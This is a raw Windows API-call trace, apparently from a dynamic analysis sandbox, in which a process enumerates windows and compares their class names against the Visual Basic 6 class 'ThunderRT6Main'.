	[0081.799] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.799] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.799] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0081.800] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a
	[0081.800] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.800] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.800] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.800] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c
	[0081.800] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20
	[0081.800] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1
	[0081.800] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.800] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6
	[0081.800] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20
	[0081.800] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1
	[0081.800] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.800] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226
	[0081.800] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0081.800] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0081.800] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.800] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056
	[0081.800] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0081.800] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0081.800] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a4
	[0081.800] GetClassNameA (in: hWnd=0x201a4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.800] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.800] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.800] GetWindowLongA (hWnd=0x201a4, nIndex=-16) returned -1946157056
	[0081.800] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0081.800] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0081.800] GetWindow (hWnd=0x201a4, uCmd=0x2) returned 0x302a0
	[0081.800] GetClassNameA (in: hWnd=0x302a0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="#32770") returned 6
	[0081.800] lstrcmpA (lpString1="#32770", lpString2="ThunderRT6Main") returned -1
	[0081.800] GetWindowThreadProcessId (in: hWnd=0x302a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.800] GetWindowLongA (hWnd=0x302a0, nIndex=-16) returned -1798831675
	[0081.800] GetWindowLongPtrA (hWnd=0x302a0, nIndex=-6) returned 0x7feef690000
	[0081.800] GetWindowLongPtrA (hWnd=0x302a0, nIndex=-6) returned 0x7feef690000
	[0081.800] GetWindow (hWnd=0x302a0, uCmd=0x2) returned 0x40216
	[0081.800] GetClassNameA (in: hWnd=0x40216, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0081.800] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0081.800] GetWindowThreadProcessId (in: hWnd=0x40216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.800] GetWindowLongA (hWnd=0x40216, nIndex=-16) returned 516882432
	[0081.800] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0081.800] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0081.800] GetWindow (hWnd=0x40216, uCmd=0x2) returned 0x20268
	[0081.800] GetClassNameA (in: hWnd=0x20268, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.800] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.800] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.800] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896
	[0081.800] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0081.800] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0081.800] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a
	[0081.801] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.801] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.801] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.801] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896
	[0081.801] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0081.801] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0081.801] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x202c6
	[0081.801] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.801] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.801] GetWindowThreadProcessId (in: hWnd=0x202c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.801] GetWindowLongA (hWnd=0x202c6, nIndex=-16) returned -1778384896
	[0081.801] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0081.801] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0081.801] GetWindow (hWnd=0x202c6, uCmd=0x2) returned 0x20260
	[0081.801] GetClassNameA (in: hWnd=0x20260, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.801] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.801] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.801] GetWindowLongA (hWnd=0x20260, nIndex=-16) returned -1778384896
	[0081.801] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0081.801] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0081.801] GetWindow (hWnd=0x20260, uCmd=0x2) returned 0x3022a
	[0081.801] GetClassNameA (in: hWnd=0x3022a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13
	[0081.801] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1
	[0081.801] GetWindowThreadProcessId (in: hWnd=0x3022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.801] GetWindowLongA (hWnd=0x3022a, nIndex=-16) returned -2080374784
	[0081.801] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0081.801] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0081.801] GetWindow (hWnd=0x3022a, uCmd=0x2) returned 0x202b0
	[0081.801] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11
	[0081.801] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1
	[0081.801] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.801] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -1946157056
	[0081.801] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5d60000
	[0081.801] IsWindowEnabled (hWnd=0x202b0) returned 0
	[0081.801] GetPropA (hWnd=0x202b0, lpString=0xc13a) returned 0x1
	[0081.801] RemovePropA (hWnd=0x202b0, lpString=0xc13a) returned 0x1
	[0081.801] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1
	[0081.801] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026c
	[0081.801] GetClassNameA (in: hWnd=0x2026c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0081.801] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0081.801] GetWindowThreadProcessId (in: hWnd=0x2026c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.801] GetWindowLongA (hWnd=0x2026c, nIndex=-16) returned 1149272145
	[0081.801] GetWindow (hWnd=0x2026c, uCmd=0x2) returned 0x202d4
	[0081.801] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0081.801] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0081.801] GetWindowThreadProcessId (in: hWnd=0x202d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.802] GetWindowLongA (hWnd=0x202d4, nIndex=-16) returned -2080374784
	[0081.802] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0081.802] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0081.802] GetWindow (hWnd=0x202d4, uCmd=0x2) returned 0x101e0
	[0081.802] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0081.802] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0081.802] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.802] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 516882432
	[0081.802] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0081.802] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0081.802] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a
	[0081.802] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.802] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.802] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.802] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896
	[0081.802] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0081.802] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0081.802] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c
	[0081.802] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.802] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.802] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.802] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896
	[0081.802] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0081.802] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0081.802] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e
	[0081.802] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.802] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.802] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.802] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896
	[0081.802] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0081.802] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0081.802] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210
	[0081.802] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.802] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.802] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.802] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896
	[0081.802] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0081.802] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0081.802] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10296
	[0081.802] GetClassNameA (in: hWnd=0x10296, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0081.802] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0081.802] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c
	[0081.802] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x30214
	[0081.802] GetClassNameA (in: hWnd=0x30214, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28
	[0081.802] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1
	[0081.802] GetWindowThreadProcessId (in: hWnd=0x30214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.802] GetWindowLongA (hWnd=0x30214, nIndex=-16) returned 213909504
	[0081.802] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0081.802] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0081.803] GetWindow (hWnd=0x30214, uCmd=0x2) returned 0x101de
	[0081.803] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.803] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.803] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.803] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352
	[0081.803] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0081.803] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0081.803] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc
	[0081.803] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.803] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.803] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.803] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352
	[0081.803] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0081.803] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0081.803] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da
	[0081.803] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.803] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.803] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.803] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352
	[0081.803] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0081.803] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0081.803] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8
	[0081.803] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0081.803] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0081.803] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.803] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352
	[0081.803] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0081.803] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0081.803] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2
	[0081.803] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0081.803] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0081.803] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.803] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248
	[0081.803] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0081.803] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0081.803] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x2015c
	[0081.803] GetClassNameA (in: hWnd=0x2015c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
	[0081.803] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
	[0081.803] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x900
	[0081.803] GetWindow (hWnd=0x2015c, uCmd=0x2) returned 0x201aa
	[0081.803] GetClassNameA (in: hWnd=0x201aa, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20
	[0081.803] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1
	[0081.803] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.803] GetWindowLongA (hWnd=0x201aa, nIndex=-16) returned -2080374784
	[0081.803] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0081.803] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0081.803] GetWindow (hWnd=0x201aa, uCmd=0x2) returned 0x1019e
	[0081.803] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.804] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0081.804] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c
	[0081.804] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="uzbekistan_") returned 11
	[0081.804] lstrcmpA (lpString1="uzbekistan_", lpString2="ThunderRT6Main") returned 1
	[0081.804] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0081.804] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x20206
	[0081.804] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0081.804] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0081.804] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.804] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145
	[0081.804] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4
	[0081.804] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0081.804] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0081.804] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0081.804] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145
	[0081.804] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10198
	[0081.804] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="trendswindow") returned 12
	[0081.804] lstrcmpA (lpString1="trendswindow", lpString2="ThunderRT6Main") returned 1
	[0081.804] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0081.804] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a
	[0081.804] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.804] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0081.804] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194
	[0081.804] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Asin_intelligence_cls") returned 21
	[0081.804] lstrcmpA (lpString1="Asin_intelligence_cls", lpString2="ThunderRT6Main") returned -1
	[0081.804] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0081.804] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196
	[0081.804] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.804] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0081.804] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190
	[0081.804] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="pulseagainstwin") returned 15
	[0081.804] lstrcmpA (lpString1="pulseagainstwin", lpString2="ThunderRT6Main") returned -1
	[0081.804] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0081.804] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192
	[0081.804] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.804] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0081.804] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018c
	[0081.804] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Mint_wnd") returned 8
	[0081.804] lstrcmpA (lpString1="Mint_wnd", lpString2="ThunderRT6Main") returned -1
	[0081.804] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0081.805] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018e
	[0081.805] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.805] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0081.805] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10188
	[0081.805] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Spokewin") returned 8
	[0081.805] lstrcmpA (lpString1="Spokewin", lpString2="ThunderRT6Main") returned -1
	[0081.805] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0081.805] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x1018a
	[0081.805] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.805] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0081.805] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x10184
	[0081.805] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Colored_app") returned 11
	[0081.805] lstrcmpA (lpString1="Colored_app", lpString2="ThunderRT6Main") returned -1
	[0081.805] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0081.805] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10186
	[0081.805] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.805] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0081.805] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10180
	[0081.805] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Showtimeswnd") returned 12
	[0081.805] lstrcmpA (lpString1="Showtimeswnd", lpString2="ThunderRT6Main") returned -1
	[0081.805] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0081.805] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x20182
	[0081.806] GetClassNameA (in: hWnd=0x20182, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.806] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.806] GetWindowThreadProcessId (in: hWnd=0x20182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0081.806] GetWindow (hWnd=0x20182, uCmd=0x2) returned 0x1017c
	[0081.806] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="architectural_Sweden_utils_win") returned 30
	[0081.806] lstrcmpA (lpString1="architectural_Sweden_utils_win", lpString2="ThunderRT6Main") returned -1
	[0081.806] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0081.806] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e
